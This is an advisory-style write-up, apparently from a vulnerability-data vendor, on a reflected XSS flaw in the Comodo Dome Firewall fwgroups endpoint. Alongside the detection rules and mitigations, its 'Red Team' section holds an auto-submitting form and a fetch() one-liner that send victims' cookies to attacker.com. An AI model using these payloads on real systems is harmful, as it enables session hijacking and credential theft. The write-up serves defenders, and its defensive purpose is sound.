CVE-2019-25418
Executive Summary
CVE-2019-25418 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the /korugan/fwgroups endpoint, where the FWADDRESSES parameter is not properly sanitized. An attacker can craft a POST request containing malicious JavaScript in the FWADDRESSES parameter. When a victim user submits this crafted request (e.g., via a phishing link or form submission), the script executes in the context of the victim's browser, allowing session hijacking, credential theft, or further malicious actions. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the description, a more realistic score is 6.1 (Medium) due to the need for user interaction and the reflected nature of the attack. No official patch has been released, and the vendor status is unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Comodo Dome Firewall). Therefore, supply chain security considerations are not directly applicable, but the lack of a patch means organizations must rely on compensating controls.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must click a link or submit a form.
- Scope: Changed (S:C) – The vulnerable component and the impacted component are different (the firewall vs. the user's browser).
- Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
- Integrity Impact: Low (I:L) – Limited ability to modify data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The primary risk is session hijacking and phishing.
Deep Dive & Mechanics
The vulnerability resides in the korugan/fwgroups endpoint of the Comodo Dome Firewall web interface. This endpoint is used to manage firewall address groups. The FWADDRESSES parameter is expected to contain a list of IP addresses or hostnames. However, the application does not sanitize or encode the input before reflecting it in the HTTP response.
Attack Flow:
- The attacker crafts a POST request to
https://target/korugan/fwgroupswith a payload in theFWADDRESSESparameter, such as:<script>alert('XSS')</script>. - The attacker sends a phishing email or link that tricks the victim into submitting this request (e.g., via a hidden form or an
<img>tag with asrcattribute pointing to the vulnerable endpoint). - The victim's browser sends the request, and the server reflects the malicious script in the response without sanitization.
- The victim's browser executes the script, which can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of input validation and output encoding. The application fails to treat user-supplied data as untrusted and does not apply context-appropriate encoding (e.g., HTML entity encoding) before reflecting it.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (Conceptual):
// Vulnerable PHP example
$fwaddresses = $_POST['FWADDRESSES'];
echo "<div>Address: $fwaddresses</div>";
Patched Code (Conceptual):
// Patched PHP example
$fwaddresses = $_POST['FWADDRESSES'];
$safe_fwaddresses = htmlspecialchars($fwaddresses, ENT_QUOTES, 'UTF-8');
echo "<div>Address: $safe_fwaddresses</div>";
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running Comodo Dome Firewall 2.7.0.
- A victim user with access to the web interface.
Exploit Payload:
<form action="https://target/korugan/fwgroups" method="POST" id="xss_form">
<input type="hidden" name="FWADDRESSES" value="<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>">
<input type="submit" value="Click me">
</form>
<script>document.getElementById('xss_form').submit();</script>
Usage:
- Host the above HTML on an attacker-controlled server.
- Send the link to the victim via phishing email.
- When the victim visits the page, the form auto-submits, sending the malicious payload to the vulnerable endpoint.
- The victim's browser executes the script, sending the cookie to the attacker's server.
Alternative Payload (Steal Session):
<script>fetch('http://attacker.com/steal?cookie='+document.cookie);</script>
Blue Team (Detection & Defense)
Detection:
- Monitor HTTP POST requests to
/korugan/fwgroupswith suspiciousFWADDRESSESparameters containing<script>,onerror,javascript:, or other XSS indicators. - Use WAF rules to block requests with HTML/JavaScript in the
FWADDRESSESparameter.
Defense:
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
- Apply input validation: reject any
FWADDRESSESvalue that contains HTML tags or JavaScript. - Use Content Security Policy (CSP) headers to restrict script execution.
- Educate users about phishing attacks.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/korugan/fwgroupswithFWADDRESSEScontaining<script>tags. - Outbound connections to attacker-controlled domains from the victim's browser (e.g.,
http://attacker.com/steal?cookie=...).
- POST requests to
- File IOCs:
- Log entries in the firewall's access logs showing the malicious payload.
- Behavioral IOCs:
- Unexpected session timeouts or account takeovers.
- Unusual HTTP Referer headers pointing to phishing pages.
Detection Engineering
YARA Rule
rule CVE_2019_25418_XSS_Reflected {
meta:
description = "Detects reflected XSS attempts against Comodo Dome Firewall CVE-2019-25418"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25418"
strings:
$xss_payload = /FWADDRESSES=.*<script[^>]*>.*<\/script>/i
$xss_event = /FWADDRESSES=.*on\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /korugan/fwgroups with XSS payloads in FWADDRESSES parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/korugan/fwgroups'
cs-uri-query|contains: 'FWADDRESSES='
filter:
cs-uri-query|re: 'FWADDRESSES=[^&]*<script[^>]*>.*<\/script>'
condition: selection and filter
falsepositives:
- Legitimate use of HTML in address fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2019-25418 - Reflected XSS in Comodo Dome Firewall";
flow:to_server,established;
content:"POST";
http_method;
content:"/korugan/fwgroups";
http_uri;
content:"FWADDRESSES=";
http_client_body;
pcre:"/FWADDRESSES=[^&]*<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2019-25418;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: If possible, restrict network access to the Comodo Dome Firewall management interface to trusted IPs only.
- Disable the vulnerable endpoint: If the
/korugan/fwgroupsfunctionality is not critical, block access to it via firewall rules or reverse proxy. - Apply WAF rules: Use a Web Application Firewall to block requests containing
<script>oron*event handlers in theFWADDRESSESparameter.
Long-term Actions:
- Contact vendor: Reach out to Comodo for a patch or upgrade path.
- Upgrade firmware: If a newer version is available, upgrade to a patched release.
- Implement CSP: Add a Content Security Policy header that restricts script sources to trusted domains only.
- Input validation: If you have access to the source code, implement proper input validation and output encoding.
Workaround:
- Use a reverse proxy (e.g., Nginx) to sanitize the
FWADDRESSESparameter before it reaches the backend:
location /korugan/fwgroups {
if ($request_body ~* "<script") {
return 403;
}
proxy_pass http://backend;
}
Valters IT